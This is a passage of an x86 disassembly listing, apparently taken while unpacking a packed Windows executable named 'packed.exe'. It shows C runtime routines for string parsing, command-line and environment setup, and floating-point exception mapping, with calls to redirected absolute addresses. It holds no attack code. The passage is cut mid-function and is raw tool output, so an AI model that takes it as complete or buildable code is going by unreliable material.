		push	ecx
		call	sub_436F40
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_431174
		or	eax, 0FFFFFFFFh
		jmp	loc_431239
; ---------------------------------------------------------------------------


loc_431174:				; CODE XREF: sub_4310E0+8Aj
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_C]
		mov	al, [edx]
		mov	[ebp+var_8], al
		cmp	[ebp+var_4], 0
		jnz	short loc_4311AA
		cmp	[ebp+var_C], 40h
		jge	short loc_4311AA
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 2Eh
		jz	short loc_4311AA
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421470
		add	esp, 0Ch
		jmp	short loc_431210
; ---------------------------------------------------------------------------


loc_4311AA:				; CODE XREF: sub_4310E0+A3j
					; sub_4310E0+A9j ...
		cmp	[ebp+var_4], 1
		jnz	short loc_4311D8
		cmp	[ebp+var_C], 40h
		jge	short loc_4311D8
		movsx	edx, [ebp+var_8]
		cmp	edx, 5Fh
		jz	short loc_4311D8
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		push	edx
		call	sub_421470
		add	esp, 0Ch
		jmp	short loc_431210
; ---------------------------------------------------------------------------


loc_4311D8:				; CODE XREF: sub_4310E0+CEj
					; sub_4310E0+D4j ...
		cmp	[ebp+var_4], 2
		jnz	short loc_43120B
		movsx	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_4311EF
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 2Ch
		jnz	short loc_43120B


loc_4311EF:				; CODE XREF: sub_4310E0+104j
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 80h
		push	ecx
		call	sub_421470
		add	esp, 0Ch
		jmp	short loc_431210
; ---------------------------------------------------------------------------


loc_43120B:				; CODE XREF: sub_4310E0+FCj
					; sub_4310E0+10Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_431239
; ---------------------------------------------------------------------------


loc_431210:				; CODE XREF: sub_4310E0+C8j
					; sub_4310E0+F6j ...
		movsx	edx, [ebp+var_8]
		cmp	edx, 2Ch
		jnz	short loc_43121B
		jmp	short loc_431237
; ---------------------------------------------------------------------------


loc_43121B:				; CODE XREF: sub_4310E0+137j
		movsx	eax, [ebp+var_8]
		test	eax, eax
		jnz	short loc_431225
		jmp	short loc_431237
; ---------------------------------------------------------------------------


loc_431225:				; CODE XREF: sub_4310E0+141j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		lea	eax, [edx+ecx+1]
		mov	[ebp+arg_4], eax
		jmp	loc_431149
; ---------------------------------------------------------------------------


loc_431237:				; CODE XREF: sub_4310E0+139j
					; sub_4310E0+143j
		xor	eax, eax


loc_431239:				; CODE XREF: sub_4310E0+25j
					; sub_4310E0+5Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4310E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431240	proc near		; CODE XREF: sub_430EF0+101p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_422580
		add	esp, 8
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+40h]
		test	eax, eax
		jz	short loc_431278
		mov	ecx, [ebp+arg_4]
		add	ecx, 40h
		push	ecx
		push	offset a__2	; "_"
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_431090
		add	esp, 10h


loc_431278:				; CODE XREF: sub_431240+1Cj
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax+80h]
		test	ecx, ecx
		jz	short loc_4312A3
		mov	edx, [ebp+arg_4]
		add	edx, 80h
		push	edx
		push	offset a__1	; "."
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_431090
		add	esp, 10h


loc_4312A3:				; CODE XREF: sub_431240+44j
		pop	ebp
		retn
sub_431240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4312B0	proc near		; CODE XREF: sub_424440+EBp
					; sub_42BCB0+121p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43F398
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4E92FC, 0
		jnz	short loc_431336
		push	0
		push	0
		push	1
		push	offset dword_43F390
		push	100h
		push	0
		call	near ptr 29F0000h
		nop
		test	eax, eax
		jz	short loc_431307
		mov	dword_4E92FC, 1
		jmp	short loc_431336
; ---------------------------------------------------------------------------


loc_431307:				; CODE XREF: sub_4312B0+49j
		push	0
		push	0
		push	1
		push	offset dword_43F38C
		push	100h
		push	0
		call	near ptr 29E0000h
		nop
		test	eax, eax
		jz	short loc_43132F
		mov	dword_4E92FC, 2
		jmp	short loc_431336
; ---------------------------------------------------------------------------


loc_43132F:				; CODE XREF: sub_4312B0+71j
		xor	eax, eax
		jmp	loc_4315A1
; ---------------------------------------------------------------------------


loc_431336:				; CODE XREF: sub_4312B0+2Dj
					; sub_4312B0+55j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_43134F
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_4315C0
		add	esp, 8
		mov	[ebp+arg_C], eax


loc_43134F:				; CODE XREF: sub_4312B0+8Aj
		cmp	dword_4E92FC, 2
		jnz	short loc_43137B
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		nop
		call	near ptr 29E0000h
		jmp	loc_4315A1
; ---------------------------------------------------------------------------


loc_43137B:				; CODE XREF: sub_4312B0+A6j
		cmp	dword_4E92FC, 1
		jnz	loc_43159F
		cmp	[ebp+arg_18], 0
		jnz	short loc_431397
		mov	edx, dword_4E92F4
		mov	[ebp+arg_18], edx


loc_431397:				; CODE XREF: sub_4312B0+DCj
		push	0
		push	0
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_1C]
		neg	edx
		sbb	edx, edx
		and	edx, 8
		add	edx, 1
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		nop
		call	near ptr 2910000h
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_4313CB
		xor	eax, eax
		jmp	loc_4315A1
; ---------------------------------------------------------------------------


loc_4313CB:				; CODE XREF: sub_4312B0+112j
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_421EE0
		mov	[ebp+var_30], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_30]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_43140D
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_43140D:				; CODE XREF: sub_4312B0+144j
		cmp	[ebp+var_24], 0
		jnz	short loc_43141A
		xor	eax, eax
		jmp	loc_4315A1
; ---------------------------------------------------------------------------


loc_43141A:				; CODE XREF: sub_4312B0+161j
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		nop
		call	near ptr 2910000h
		test	eax, eax
		jnz	short loc_431441
		xor	eax, eax
		jmp	loc_4315A1
; ---------------------------------------------------------------------------


loc_431441:				; CODE XREF: sub_4312B0+188j
		push	0
		push	0
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	near ptr 29F0000h
		nop
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_43146B
		xor	eax, eax
		jmp	loc_4315A1
; ---------------------------------------------------------------------------


loc_43146B:				; CODE XREF: sub_4312B0+1B2j
		mov	edx, [ebp+arg_4]
		and	edx, 400h
		test	edx, edx
		jz	short loc_4314BB
		cmp	[ebp+arg_14], 0
		jz	short loc_4314B6
		mov	eax, [ebp+var_28]
		cmp	eax, [ebp+arg_14]
		jle	short loc_43148D
		xor	eax, eax
		jmp	loc_4315A1
; ---------------------------------------------------------------------------


loc_43148D:				; CODE XREF: sub_4312B0+1D4j
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	near ptr 29F0000h
		nop
		test	eax, eax
		jnz	short loc_4314B6
		xor	eax, eax
		jmp	loc_4315A1
; ---------------------------------------------------------------------------


loc_4314B6:				; CODE XREF: sub_4312B0+1CCj
					; sub_4312B0+1FDj
		jmp	loc_43159A
; ---------------------------------------------------------------------------


loc_4314BB:				; CODE XREF: sub_4312B0+1C6j
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_2C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_421EE0
		mov	[ebp+var_34], esp
		mov	[ebp+var_18], esp
		mov	edx, [ebp+var_34]
		mov	[ebp+var_20], edx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_431503
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_431503:				; CODE XREF: sub_4312B0+23Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_431510
		xor	eax, eax
		jmp	loc_4315A1
; ---------------------------------------------------------------------------


loc_431510:				; CODE XREF: sub_4312B0+257j
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	near ptr 29F0000h
		nop
		test	eax, eax
		jnz	short loc_431536
		xor	eax, eax
		jmp	short loc_4315A1
; ---------------------------------------------------------------------------


loc_431536:				; CODE XREF: sub_4312B0+280j
		cmp	[ebp+arg_14], 0
		jnz	short loc_43156A
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_18]
		push	edx
		nop
		call	near ptr 290039Dh
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_431568
		xor	eax, eax
		jmp	short loc_4315A1
; ---------------------------------------------------------------------------


loc_431568:				; CODE XREF: sub_4312B0+2B2j
		jmp	short loc_43159A
; ---------------------------------------------------------------------------


loc_43156A:				; CODE XREF: sub_4312B0+28Aj
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		push	220h
		mov	ecx, [ebp+arg_18]
		push	ecx
		nop
		call	near ptr 290039Dh
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_43159A
		xor	eax, eax
		jmp	short loc_4315A1
; ---------------------------------------------------------------------------


loc_43159A:				; CODE XREF: sub_4312B0:loc_4314B6j
					; sub_4312B0:loc_431568j ...
		mov	eax, [ebp+var_28]
		jmp	short loc_4315A1
; ---------------------------------------------------------------------------


loc_43159F:				; CODE XREF: sub_4312B0+D2j
		xor	eax, eax


loc_4315A1:				; CODE XREF: sub_4312B0+81j
					; sub_4312B0+C6j ...
		lea	esp, [ebp-40h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4312B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4315C0	proc near		; CODE XREF: sub_4312B0+94p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx


loc_4315D2:				; CODE XREF: sub_4315C0+35j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax
		test	edx, edx
		jz	short loc_4315F7
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_4315F7
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_4315D2
; ---------------------------------------------------------------------------


loc_4315F7:				; CODE XREF: sub_4315C0+20j
					; sub_4315C0+2Aj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_431609
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		jmp	short loc_43160C
; ---------------------------------------------------------------------------


loc_431609:				; CODE XREF: sub_4315C0+3Fj
		mov	eax, [ebp+arg_4]


loc_43160C:				; CODE XREF: sub_4315C0+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_4315C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431610	proc near		; CODE XREF: .XComp0:00424954p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_42B630
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+50h]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4317D0
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_431643
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_431652


loc_431643:				; CODE XREF: sub_431610+28j
		mov	ecx, [ebp+arg_4]
		push	ecx
		nop
		call	near ptr 29F129Ah
		jmp	loc_4317CA
; ---------------------------------------------------------------------------


loc_431652:				; CODE XREF: sub_431610+31j
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx+8], 5
		jnz	short loc_43166F
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax+8], 0
		mov	eax, 1
		jmp	loc_4317CA
; ---------------------------------------------------------------------------


loc_43166F:				; CODE XREF: sub_431610+49j
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx+8], 1
		jnz	short loc_431680
		or	eax, 0FFFFFFFFh
		jmp	loc_4317CA
; ---------------------------------------------------------------------------


loc_431680:				; CODE XREF: sub_431610+66j
		mov	edx, [ebp+var_10]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+54h]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		mov	[eax+54h], ecx
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx+4], 8
		jnz	loc_4317A7
		mov	eax, dword_452A90
		mov	[ebp+var_14], eax
		jmp	short loc_4316BB
; ---------------------------------------------------------------------------


loc_4316B2:				; CODE XREF: sub_431610+D0j
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx


loc_4316BB:				; CODE XREF: sub_431610+A0j
		mov	edx, dword_452A90
		add	edx, dword_452A94
		cmp	[ebp+var_14], edx
		jge	short loc_4316E2
		mov	eax, [ebp+var_14]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+50h]
		mov	dword ptr [edx+eax+8], 0
		jmp	short loc_4316B2
; ---------------------------------------------------------------------------


loc_4316E2:				; CODE XREF: sub_431610+BAj
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+58h]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C000008Eh
		jnz	short loc_431705
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 83h
		jmp	loc_43178D
; ---------------------------------------------------------------------------


loc_431705:				; CODE XREF: sub_431610+E4j
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx], 0C0000090h
		jnz	short loc_43171C
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+58h], 81h
		jmp	short loc_43178D
; ---------------------------------------------------------------------------


loc_43171C:				; CODE XREF: sub_431610+FEj
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0C0000091h
		jnz	short loc_431733
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+58h], 84h
		jmp	short loc_43178D
; ---------------------------------------------------------------------------


loc_431733:				; CODE XREF: sub_431610+115j
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C0000093h
		jnz	short loc_43174A
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 85h
		jmp	short loc_43178D
; ---------------------------------------------------------------------------


loc_43174A:				; CODE XREF: sub_431610+12Cj
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx], 0C000008Dh
		jnz	short loc_431761
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+58h], 82h
		jmp	short loc_43178D
; ---------------------------------------------------------------------------


loc_431761:				; CODE XREF: sub_431610+143j
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0C000008Fh
		jnz	short loc_431778
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+58h], 86h
		jmp	short loc_43178D
; ---------------------------------------------------------------------------


loc_431778:				; CODE XREF: sub_431610+15Aj
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C0000092h
		jnz	short loc_43178D
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 8Ah


loc_43178D:				; CODE XREF: sub_431610+F0j
					; sub_431610+10Aj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+58h]
		push	edx
		push	8
		call	[ebp+var_4]
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+58h], ecx
		jmp	short loc_4317BE
; ---------------------------------------------------------------------------


loc_4317A7:				; CODE XREF: sub_431610+92j
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		push	ecx
		call	[ebp+var_4]
		add	esp, 4


loc_4317BE:				; CODE XREF: sub_431610+195j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_18]
		mov	[edx+54h], eax
		or	eax, 0FFFFFFFFh


loc_4317CA:				; CODE XREF: sub_431610+3Dj
					; sub_431610+5Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_431610	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4317D0	proc near		; CODE XREF: sub_431610+19p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_4317DA:				; CODE XREF: sub_4317D0+30j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		cmp	edx, [ebp+arg_0]
		jz	short loc_431802
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ecx, dword_452A9C
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		cmp	[ebp+var_4], edx
		jnb	short loc_431802
		jmp	short loc_4317DA
; ---------------------------------------------------------------------------


loc_431802:				; CODE XREF: sub_4317D0+12j
					; sub_4317D0+2Ej
		mov	eax, dword_452A9C
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		cmp	[ebp+var_4], ecx
		jnb	short loc_43181E
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		cmp	eax, [ebp+arg_0]
		jz	short loc_431822


loc_43181E:				; CODE XREF: sub_4317D0+42j
		xor	eax, eax
		jmp	short loc_431825
; ---------------------------------------------------------------------------


loc_431822:				; CODE XREF: sub_4317D0+4Cj
		mov	eax, [ebp+var_4]


loc_431825:				; CODE XREF: sub_4317D0+50j
		mov	esp, ebp
		pop	ebp
		retn
sub_4317D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431830	proc near		; CODE XREF: .XComp0:004248F8p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4EA90C, 0
		jnz	short loc_431842
		call	sub_42BFE0


loc_431842:				; CODE XREF: sub_431830+Bj
		mov	eax, dword_4EA904
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 22h
		jnz	short loc_4318AC


loc_431856:				; CODE XREF: sub_431830:loc_431893j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 22h
		jz	short loc_431895
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_431895
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		push	eax
		call	sub_437E60
		add	esp, 4
		test	eax, eax
		jz	short loc_431893
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_431893:				; CODE XREF: sub_431830+58j
		jmp	short loc_431856
; ---------------------------------------------------------------------------


loc_431895:				; CODE XREF: sub_431830+39j
					; sub_431830+44j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 22h
		jnz	short loc_4318AA
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_4318AA:				; CODE XREF: sub_431830+6Fj
		jmp	short loc_4318C3
; ---------------------------------------------------------------------------


loc_4318AC:				; CODE XREF: sub_431830+24j
					; sub_431830+91j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 20h
		jle	short loc_4318C3
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_4318AC
; ---------------------------------------------------------------------------


loc_4318C3:				; CODE XREF: sub_431830:loc_4318AAj
					; sub_431830+86j ...
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_4318E5
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 20h
		jg	short loc_4318E5
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_4318C3
; ---------------------------------------------------------------------------


loc_4318E5:				; CODE XREF: sub_431830+9Cj
					; sub_431830+A8j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_431830	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4318F0	proc near		; CODE XREF: .XComp0:004248DDp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4EA90C, 0
		jnz	short loc_431904
		call	sub_42BFE0


loc_431904:				; CODE XREF: sub_4318F0+Dj
		mov	[ebp+var_8], 0
		mov	eax, dword_4E9244
		mov	[ebp+var_4], eax


loc_431913:				; CODE XREF: sub_4318F0+57j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_431949
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Dh
		jz	short loc_431931
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx


loc_431931:				; CODE XREF: sub_4318F0+36j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax+1]
		mov	[ebp+var_4], edx
		jmp	short loc_431913
; ---------------------------------------------------------------------------


loc_431949:				; CODE XREF: sub_4318F0+2Bj
		push	6Dh
		push	offset dword_43F3B0
		push	2
		mov	eax, [ebp+var_8]
		lea	ecx, ds:4[eax*4]
		push	ecx
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		mov	dword_4E9214, edx
		cmp	dword_4E9214, 0
		jnz	short loc_431984
		push	9
		call	sub_424980
		add	esp, 4


loc_431984:				; CODE XREF: sub_4318F0+88j
		mov	eax, dword_4E9244
		mov	[ebp+var_4], eax
		jmp	short loc_431997
; ---------------------------------------------------------------------------


loc_43198E:				; CODE XREF: sub_4318F0:loc_431A05j
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_10]
		mov	[ebp+var_4], ecx


loc_431997:				; CODE XREF: sub_4318F0+9Cj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_431A07
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41EBD0
		add	esp, 4
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Dh
		jz	short loc_431A05
		push	79h
		push	offset dword_43F3B0
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_41EDD0
		add	esp, 10h
		mov	edx, [ebp+var_C]
		mov	[edx], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jnz	short loc_4319EA
		push	9
		call	sub_424980
		add	esp, 4


loc_4319EA:				; CODE XREF: sub_4318F0+EEj
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		push	eax
		call	sub_422580
		add	esp, 8
		mov	ecx, [ebp+var_C]
		add	ecx, 4
		mov	[ebp+var_C], ecx


loc_431A05:				; CODE XREF: sub_4318F0+CCj
		jmp	short loc_43198E
; ---------------------------------------------------------------------------


loc_431A07:				; CODE XREF: sub_4318F0+AFj
		push	2
		mov	edx, dword_4E9244
		push	edx
		call	sub_41F970
		add	esp, 8
		mov	dword_4E9244, 0
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax], 0
		mov	dword_4EA908, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4318F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431A40	proc near		; CODE XREF: .XComp0:004248D8p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	dword_4EA90C, 0
		jnz	short loc_431A54
		call	sub_42BFE0


loc_431A54:				; CODE XREF: sub_431A40+Dj
		push	104h
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	0
		call	near ptr 27A0000h
		nop
		mov	off_4E9224, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		mov	eax, dword_4EA904
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_431A87
		mov	edx, off_4E9224
		mov	[ebp+var_14], edx
		jmp	short loc_431A8F
; ---------------------------------------------------------------------------


loc_431A87:				; CODE XREF: sub_431A40+3Aj
		mov	eax, dword_4EA904
		mov	[ebp+var_14], eax


loc_431A8F:				; CODE XREF: sub_431A40+45j
